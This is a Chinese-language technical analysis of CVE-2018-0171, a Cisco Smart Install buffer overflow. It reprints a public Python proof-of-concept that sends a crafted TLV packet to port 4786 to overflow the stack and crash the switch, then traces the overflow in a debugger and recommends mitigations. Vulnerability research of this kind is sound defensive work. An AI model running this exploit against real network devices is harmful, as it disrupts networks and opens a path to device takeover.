CVE-2018-0171 Cisco Smart Install远程代码执行漏洞分析

阅读量    46864 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 漏洞背景

2017年GeekPwn香港站,俄罗斯安全研究人员George Nosenko成功演示思科Smart Install缓冲区溢出漏洞(CVE-2018-0171)获得最佳技术奖,同时该漏洞相关信息也提交给思科。2018年3月28日,思科在官方安全更新中发布了该漏洞的补丁,随后EMBEDI官方博客也陆续更新了漏洞的部分技术细节,PoC代码和演示视频资料。
从已经公开的资料来看,这个漏洞是一个基于缓冲区溢出的远程代码执行漏洞,它影响多个版本Cisco IOS 和IOS XE软件。同时,运行相应软件的交换机设备需要开启Smart Install 功能。如果该漏洞被攻击者成功利用,则可造成设备崩溃,或允许攻击者绕过验证远程执行代码,进而控制设备并产生进一步攻击行为。本文出于探究Cisco交换机设备IOS系统固件漏洞原理和调试分析方法,基于已公开信息,分析漏洞产生的原因和潜在利用过程,将部分技术细节予以呈现,并对Smart Install的相关风险提出安全建议。

 

0x01 漏洞简要介绍

1. 关于Smart Install


Smart Install是一种远程自动化部署(zero-touch)的思科交换机配置和管理解决方案,其网络由一个作为Smart Install Director(也称为集成分支管理器,IBD)和若干个作为Smart Install Client的交换机(也称为IBC)组成。Smart Install功能在client端无需任何配置默认开启,无需用户认证,可以通过命令将TFTP服务器上的配置文件和固件镜像分配给客户端,实现配置和部署。而配置信息和镜像信息等均存放在数据库当中。
由于SMI协议无需认证,所以可以通过构造TCP数据包完成很多事情,例如:

    替换客户端配置信息中的TFTP服务器地址;
    替换客户端配置文件为TFTP服务器的文件;
    命令客户端下载TFTP服务器的固件并升级;
    在客户端执行部分命令(部分新版本可用);
    ……

所以说,即使不存在漏洞,Smart Install 协议本身如果管理不善也会存在很多安全隐患。

 

2. CVE-2018-0171漏洞原理


CVE-2018-0171是一个远程代码执行漏洞,存在于安装Smart Install功能的Cisco 交换机设备解析Smart Install协议请求的过程中。由于设备在解析Smart Install请求时缺少对数据内容的验证,使得攻击者可以通过向设备TCP 4786端口发送精心构造的数据包,通过对memcpy字节数的自由控制,造成缓冲区溢出。该漏洞可能对设备造成如下影响:

    设备崩溃并重载;
    在设备上造成无限循环,触发WatchDog机制;
    绕过验证执行任意代码。

 

3. 影响范围


根据Cisco官方的说法,配置为Smart Install Director的设备不会受漏洞影响,只有配置Smart Install Client的设备会受漏洞影响。受影响的设备和软件版本如下所示:
****

 

0x02 漏洞分析

1. 调试环境准备


调试环境如下:

设备型号        Cisco Catalyst 2960-S
固件版本        c2960s-universalk9-mz.122-55.SE7.bin
动态调试工具    IODIDE & gdb
静态调试工具    IDA Pro 

思科高版本固件不再提供gdb kernel 命令支持,但可以通过修改启动参数的方式以调试模式启动固件。具体到Catalyst 2960即为:开机进入recovery模式,并键入如下命令序列:

flash_init
boot –n path_to_image(当镜像路径为空时,启动默认镜像)

设备启动后,即可使用gdb串口连接,远程调试。

 

2. PoC代码分析


研究人员公开的PoC代码如下所示:

# smi_ibc_init_discovery_BoF.py

import socket 
import struct 
from optparse import OptionParser 

# Parse the target options 
parser = OptionParser() 
parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.2")  
parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786)  
(options, args) = parser.parse_args() 

def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): 
    return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v 

def send_packet(sock, packet): 
    sock.send(packet)   

def receive(sock):  
    return sock.recv() 

if __name__ == "__main__": 

    print "[*] Connecting to Smart Install Client ", options.target, "port", options.port 
    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    con.connect((options.target, options.port)) 


    payload = 'BBBB' * 44  
    shellcode = 'D' * 2048 

    data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload 

    tlv_1 = craft_tlv(0x00000001, data)  
    tlv_2 = shellcode 

    hdr =  'x00x00x00x01'                                   # msg_from
    hdr += 'x00x00x00x01'                                   # version
    hdr += 'x00x00x00x07'                                   # msg_hdr_type
    hdr += struct.pack('>I', len(data))                         # data_length

    pkt = hdr + tlv_1 + tlv_2
    for i in range(len(pkt)):
        print ord(pkt[i])

    print "[*] Send a malicious packet"  
    send_packet(con, pkt)

上面的代码中,我们看到作者是采用TLV即Type-Length-Value的序列来封装数据包的。

其中 TLV_1中的value由36个连续的“A”,len(payload) + len(shellcode) + 40和176个连续的“B”组成。
如此构造数据包的原因将在漏洞原理分析部分进一步说明。

 

3. 捕获数据包



 

4. 漏洞原理分析与调试


启动交换机并配置局域网,然后在局域网内设备运行PoC代码,导致设备崩溃重启,部分Crash Info如下所示:

根据崩溃信息中与调用栈有关的信息,确认应该是死循环触发了WatchDog机制,导致系统强制重启。
通过静态分析代码以及PoC的动态调试,我们确定漏洞产生于smi_ibc_handle_ibd_init_discovery_msg函数中,在这个镜像中是SUB_B258CC函数。函数的代码流程如下所示:

结合PoC代码,静态分析和动态调试的结果,该函数的参数如下所示:


第一个参数:指向TLV序列中type的指针;
第二个参数:TLV序列中的length;
第三个参数:指向数据包头部四个标志信息msg_from | version | msg_hdr_type | data_length的指针;

第四个参数:指向TLV序列的指针。

函数首先会判断data的长度是否为0,如果不为0,则会利用一个do-while循环结构解析存储数据包的内容,而漏洞也发生在这个循环结构当中。

从上图的代码逻辑看,代码首先会判断tlv_type是否为1,如果为1,则取出tlv_length的信息,如果tlv_length不为0,则将之保留,并作为参数传给memcpy用来限制要复制payload的长度。
在这个过程中,会产生这样的问题:设备在解析数据包时,会从数据包中取出待存储字节流的长度,并且不加验证地复制相应字节数的数据。然而,目的地址为存放在栈帧中的局部变量,如果数据包中取出的字节长度达到一定值时,可能会由于数据长度过大而破坏函数的栈帧,造成栈溢出。
在调试PoC代码的过程中,由上文对PoC代码的解读可知:受漏洞影响的设备在解析PoC代码构造的数据包时,会取出0xd8作为memcpy的参数用来复制payload,而SUB_B258CC函数开辟的栈帧大小为0x58。执行memcpy操作后,造成当前栈帧溢出。下面两图的即为memcpy的参数和函数执行后堆栈被破坏的过程。

上图表明0x318e890位置开始0xd8字节的内容会被复制到栈帧中0x3df24a8开始的缓冲区当中。

上图为memcpy操作后,函数栈帧的内容,该函数的栈帧为大小为0x58个字节,显然已经造成了缓冲区溢出,并由0x42424242覆盖函数返回后跳转执行代码区域的指针。至此缓冲区溢出过程分析完毕。

 

0x03 总结

与往常相似,每当Cisco网络设备被曝出远程代码执行漏洞,都会引起广泛关注。尤其是近期发生的JHT组织劫持大量俄罗斯、伊朗Cisco交换机设备的事件。虽然这些事件通过业内的广泛讨论后表明:攻击者的攻击手法很可能源自于Smart Install协议的误用,同时攻击过程也无需远程代码执行,但该事件仍然提升了CVE-2018-0171受重视的程度。
目前Shodan系统中仍能检索到超过15万台开启Smart Install Client的思科设备。虽然目前还没有公开的漏洞利用工具,但仅就漏洞分析的情况来看,漏洞利用实现过程中需要完成的绕过DEP、布局shellcode以及绕过WatchDog机制等几个过程,也都有迹可循,通过shellcode的执行绕过设备认证模块实现设备的特权登录,仅仅是时间问题。
SMI协议存在不依赖认证而可能导致设备被非授权访问,如果Smart Install功能配置使用不当,即使没有该漏洞的存在,同样会造成上文提到的非授权访问进行恶意操作的风险,造成配置文件的泄露或修改。
综上,对于网络安全运维管理的建议如下:
1.如果不需要Smart Install功能或仅用作网络设备初始自动化部署的,部署完成后使用no vstack命令关闭Smart Install功能,特别在线上有外网环境的;但需要注意的是部分版本因为no vstack无法做到持久化,重启后需要重新配置
2.如果需要长期开启Smart Install功能,需要对相关Client设备做必要的接口ACL限制,过滤除Smart Install Director之外的TCP 4786端口流量,或通过控制面板策略(CoPP)来进行限制;
3.条件允许的情况下,尽可能及时给受漏洞影响的设备打补丁升级;
4.使用思科新的即插即用(Cisco Network Plug and Play)解决方案代替Smart Install 功能。

参考资料

https://embedi.com/blog/cisco-smart-install-remote-code-execution/
https://github.com/nccgroup/IODIDE
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi
https://www.cisco.com/c/en/us/td/docs/solutions/Enterprise/Plug-and-Play/solution/guidexml/b_pnp-solution-guide.html
http://cert.europa.eu/static/SecurityAdvisories/2017/CERT-EU-SA2017-003.pdf

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多